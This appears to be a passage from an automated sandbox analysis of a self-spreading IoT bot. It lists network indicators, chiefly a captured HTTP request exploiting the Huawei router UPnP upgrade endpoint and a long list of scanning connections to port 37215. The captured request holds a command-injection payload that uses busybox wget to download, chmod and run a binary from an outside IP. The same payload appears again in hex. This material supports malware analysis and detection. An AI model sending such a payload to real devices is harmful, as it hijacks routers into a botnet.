s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.51.144.74:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.91.137.160:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.38.180.74:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.157.212.222:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.18.57.34:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.120.172.141:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.79.195.210:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 120.82.116.87:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.88.164.178:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.171.240.4:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.193.22.17:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.102.217.79:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.183.175.176:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.141.128.211:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 155.230.161.178:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.25.224.249:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.122.115.189:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.19.73.220:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.5.115.233:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.28.224.236:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.231.0.218:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.47.38.145:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 92.37.56.164:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.56.0.157:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.8.146.25:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.35.187.136:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.81.103.71:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.101.202.223:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 213.128.219.251:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 99.138.91.131:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.248.109.221:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 193.117.98.153:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.213.207.202:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 61.148.151.19:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.33.230.87:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.234.10.177:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.55.147.79:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.184.221.36:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.147.100.17:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.201.119.217:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.146.203.132:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.16.36.193:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 147.203.32.94:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.11.65.191:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.170.214.155:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.59.163.2:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 183.9.177.103:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 59.35.85.25:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 36.163.108.31:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.177.90.248:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.99.205.227:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.54.190.198:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 31.150.50.232:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.168.170.75:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.106.170.154:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 189.18.29.223:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.144.211.229:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.219.192.119:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.55.226.81:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.89.74.28:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.19.239.174:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.209.76.165:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.92.58.186:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.188.71.247:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 110.130.116.251:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.222.60.88:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.15.100.200:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.122.22.2:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.155.190.194:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.18.240.69:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 115.155.75.22:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 82.245.165.66:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 222.186.16.117:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.163.68.182:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.240.254.22:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.254.176.123:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 115.239.103.58:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.116.248.106:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.142.0.23:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.100.137.54:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 158.32.13.230:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 206.83.152.134:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.189.166.168:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 45.51.153.5:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.217.29.152:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.125.80.49:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 36.23.109.50:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 222.6.115.126:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.66.96.169:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.243.119.140:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 158.34.191.176:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.215.210.73:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.94.125.1:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 109.212.49.131:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.37.13.136:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.163.252.112:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.240.151.20:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.160.133.122:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.62.138.220:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.231.148.244:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.38.85.166:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.191.203.208:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.213.43.122:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 2.232.199.252:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 175.109.180.21:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.234.86.115:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.126.68.17:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 13.254.192.136:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.72.237.15:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 88.87.1.8:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.18.82.47:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.69.0.212:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 150.170.7.113:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.27.153.193:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 114.144.176.24:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.49.237.92:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.92.106.57:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.229.91.181:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.163.150.123:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.185.25.84:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.61.7.7:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.162.121.24:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.225.192.87:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.38.128.203:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.13.75.250:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.229.111.120:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.238.147.26:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 14.172.125.254:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.213.204.200:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.8.129.23:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.110.229.109:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.104.79.219:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.200.135.70:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.101.111.52:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.109.105.139:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.191.201.37:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.29.114.225:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.51.7.195:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.250.51.253:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.13.55.233:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.245.200.44:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 101.25.173.225:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 211.6.17.228:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.40.138.148:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.161.172.250:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.75.210.132:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.255.0.133:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 180.123.30.240:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.183.247.67:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.142.254.23:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.139.140.28:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 204.25.75.1:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.102.230.167:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 66.62.243.142:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.4.118.230:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.123.18.216:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 45.89.156.207:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.99.246.61:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.116.209.220:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.192.230.251:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.18.157.155:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.248.98.7:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.182.228.222:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.153.118.8:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.121.240.114:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.114.203.50:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.122.33.199:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.210.152.78:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 104.139.237.74:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.11.230.191:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.162.49.196:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.220.5.218:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.0.80.250:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.212.25.26:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.199.92.164:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.63.0.194:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.95.100.225:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.19.174.214:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.197.63.133:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.51.196.61:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.184.99.129:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 218.159.167.61:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.252.46.32:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 136.111.170.82:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.245.100.76:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.220.103.26:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.87.221.44:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 68.245.128.74:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.56.217.182:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 177.167.108.141:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.64.183.14:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.130.225.208:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.2.35.208:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.203.154.190:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.183.97.223:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.146.66.174:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.235.179.242:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.160.247.243:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.224.24.237:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.53.112.72:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.43.100.26:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.178.218.93:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.134.31.4:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.147.190.50:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.57.187.51:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.251.20.224:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.245.120.178:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.225.3.239:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 42.55.126.231:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.106.157.159:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.166.186.204:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.85.97.38:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.0.57.85:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.186.67.23:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.182.18.97:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 77.206.253.160:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.221.49.241:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 147.60.90.144:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.145.156.116:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.10.245.183:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.199.234.72:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.212.114.102:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 12.89.204.67:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.197.131.235:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.103.40.142:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.92.197.181:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.103.40.60:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.206.210.73:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.94.245.56:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.123.68.213:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.21.126.127:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.28.6.21:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.237.236.157:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 183.54.17.213:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.249.170.107:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.225.212.201:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.137.219.147:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.242.55.85:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 203.16.255.30:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.100.126.87:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.134.0.102:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.1.71.200:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.177.222.209:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.201.235.139:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.56.22.167:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 17.45.7.165:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 148.71.250.186:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.150.135.97:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.154.30.60:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.90.228.142:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.58.14.139:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.40.189.110:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.205.114.170:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.155.181.231:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.162.147.235:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 86.230.48.144:37215
Source: global traffic TCP traffic: 192.168.2.23:36176 -> 195.133.40.202:56999
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.117.240.152:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 40.39.58.9:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.233.243.137:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.202.164.41:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.36.14.232:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.25.166.242:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.201.81.202:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 113.75.65.62:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.168.41.125:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.143.52.182:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.127.160.27:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.123.157.159:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.63.8.130:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.213.8.71:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.189.24.208:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 174.219.106.181:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 190.37.51.242:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.198.131.11:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.119.233.53:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 77.169.61.116:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.34.121.101:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.7.44.223:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.156.83.140:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.51.150.235:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 90.89.224.63:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.173.44.99:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.34.213.137:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.73.227.172:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.196.4.199:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.207.91.201:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.93.58.127:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.164.141.4:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.74.242.196:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 171.208.85.140:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.240.119.237:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.118.18.117:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.192.130.178:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.154.168.46:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.175.53.115:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.104.150.216:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.141.51.134:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.143.222.71:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.16.33.69:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.241.97.76:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.175.161.23:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 52.146.73.23:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.190.112.209:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 78.152.206.26:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.153.48.27:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.236.129.80:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.99.48.123:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.162.254.34:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 131.48.160.135:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.198.220.122:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 202.196.87.47:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.254.203.64:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 46.46.163.21:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.74.169.73:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.211.202.226:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.228.75.229:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.25.25.253:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 83.37.238.7:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.200.188.104:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.49.178.13:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.248.87.41:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.235.23.87:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.102.98.103:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.37.45.134:37215
